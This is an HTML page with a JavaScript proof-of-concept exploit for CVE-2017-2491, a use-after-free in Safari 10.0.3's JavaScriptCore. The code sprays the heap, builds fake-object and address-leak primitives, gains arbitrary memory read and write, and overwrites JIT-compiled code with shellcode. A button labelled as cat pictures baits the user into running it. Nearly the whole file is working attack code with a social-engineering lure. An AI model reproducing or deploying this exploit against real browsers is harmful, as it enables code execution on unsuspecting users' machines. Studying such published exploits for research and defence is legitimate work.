Permalink
Cannot retrieve contributors at this time
<script> | |
// Exploit for CVE-2017-2491, Safari 10.0.3 | |
// https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf | |
function make_compiled_function() { | |
function target(x) { | |
return x*5 + x - x*x; | |
} | |
// Call only once so that function gets compiled with low level interpreter | |
// but none of the optimizing JITs | |
target(0); | |
return target; | |
} | |
function pwn() { | |
var haxs = new Array(0x100); | |
for (var i = 0; i < 0x100; ++i) | |
haxs[i] = new Uint8Array(0x100); | |
// hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100, | |
// which is the butterfly length if hax is later used as a butterfly for a | |
// fake JSArray. | |
var hax = haxs[0x80]; | |
var hax2 = haxs[0x81]; | |
var target_func = make_compiled_function(); | |
// Small helper to avoid allocations with .set(), so we don't mess up the heap | |
function set(p, i, a,b,c,d,e,f,g,h) { | |
p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; | |
} | |
function spray() { | |
var res = new Uint8Array(0x7ffff000); | |
for (var i = 0; i < 0x7ffff000; i += 0x1000) { | |
// Write heap pattern. | |
// We only need a structure pointer every 128 bytes, but also some of | |
// structure fields need to be != 0 and I can't remember which, so we just | |
// write pointers everywhere. | |
for (var j = 0; j < 0x1000; j += 8) | |
set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0); | |
// Write the offset to the beginning of each page so we know later | |
// with which part we overlap. | |
var j = i+1+2*8; | |
set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff); | |
} | |
return res; | |
} | |
// Spray ~14 GiB worth of array buffers with our pattern. | |
var x = [ | |
spray(), spray(), spray(), spray(), | |
spray(), spray(), spray(), spray(), | |
]; | |
// The butterfly of our fake object will point to 0x200000001. This will always | |
// be inside the second sprayed buffer. | |
var buf = x[1]; | |
// A big array to hold reference to objects we don't want to be freed. | |
var ary = new Array(0x10000000); | |
var cnt = 0; | |
// Set up objects we need to trigger the bug. | |
var n = 0x40000; | |
var m = 10; | |
var regex = new RegExp("(ab)".repeat(n), "g"); | |
var part = "ab".repeat(n); | |
var s = (part + "|").repeat(m); | |
// Set up some views to convert pointers to doubles | |
var convert = new ArrayBuffer(0x20); | |
var cu = new Uint8Array(convert); | |
var cf = new Float64Array(convert); | |
// Construct fake JSCell header | |
set(cu, 0, | |
0,0,0,0, // structure ID | |
8, // indexing type | |
0,0,0); // some more stuff we don't care about | |
var container = { | |
// Inline object with indebufng type 8 and butterly pointing to hax. | |
// Later we will refer to it as fakearray. | |
jsCellHeader: cf[0], | |
butterfly: hax, | |
}; | |
while (1) { | |
// Try to trigger bug | |
s.replace(regex, function() { | |
for (var i = 1; i < arguments.length-2; ++i) { | |
if (typeof arguments[i] === 'string') { | |
// Root all the callback arguments to force GC at some point | |
ary[cnt++] = arguments[i]; | |
continue; | |
} | |
var a = arguments[i]; | |
// a.butterfly points to 0x200000001, which is always | |
// inside buf, but we are not sure what the exact | |
// offset is within it so we read a marker value. | |
var offset = a[2]; | |
// Compute addrof(container) + 16. We write to the fake array, then | |
// read from a sprayed array buffer on the heap. | |
a[2] = container; | |
var addr = 0; | |
for (var j = 7; j >= 0; --j) | |
addr = addr*0x100 + buf[offset + j]; | |
// Add 16 to get address of inline object | |
addr += 16; | |
// Do the inverse to get fakeobj(addr) | |
for (var j = 0; j < 8; ++j) { | |
buf[offset + j] = addr & 0xff; | |
addr /= 0x100; | |
} | |
var fakearray = a[2]; | |
// Re-write the vector pointer of hax to point to hax2. | |
fakearray[2] = hax2; | |
// At this point hax.vector points to hax2, so we can write | |
// the vector pointer of hax2 by writing to hax[16+{0..7}] | |
// Leak address of JSFunction | |
a[2] = target_func; | |
addr = 0; | |
for (var j = 7; j >= 0; --j) | |
addr = addr*0x100 + buf[offset + j]; | |
// Follow a bunch of pointers to RWX location containing the | |
// function's compiled code | |
addr += 3*8; | |
for (var j = 0; j < 8; ++j) { | |
hax[16+j] = addr & 0xff; | |
addr /= 0x100; | |
} | |
addr = 0; | |
for (var j = 7; j >= 0; --j) | |
addr = addr*0x100 + hax2[j]; | |
addr += 3*8; | |
for (var j = 0; j < 8; ++j) { | |
hax[16+j] = addr & 0xff; | |
addr /= 0x100; | |
} | |
addr = 0; | |
for (var j = 7; j >= 0; --j) | |
addr = addr*0x100 + hax2[j]; | |
addr += 4*8; | |
for (var j = 0; j < 8; ++j) { | |
hax[16+j] = addr & 0xff; | |
addr /= 0x100; | |
} | |
addr = 0; | |
for (var j = 7; j >= 0; --j) | |
addr = addr*0x100 + hax2[j]; | |
// Write shellcode | |
for (var j = 0; j < 8; ++j) { | |
hax[16+j] = addr & 0xff; | |
addr /= 0x100; | |
} | |
hax2[0] = 0xcc; | |
hax2[1] = 0xcc; | |
hax2[2] = 0xcc; | |
// Pwn. | |
target_func(); | |
} | |
return "x"; | |
}); | |
} | |
} | |
</script> | |
<button onclick="pwn()">click here for cute cat picz!</button> |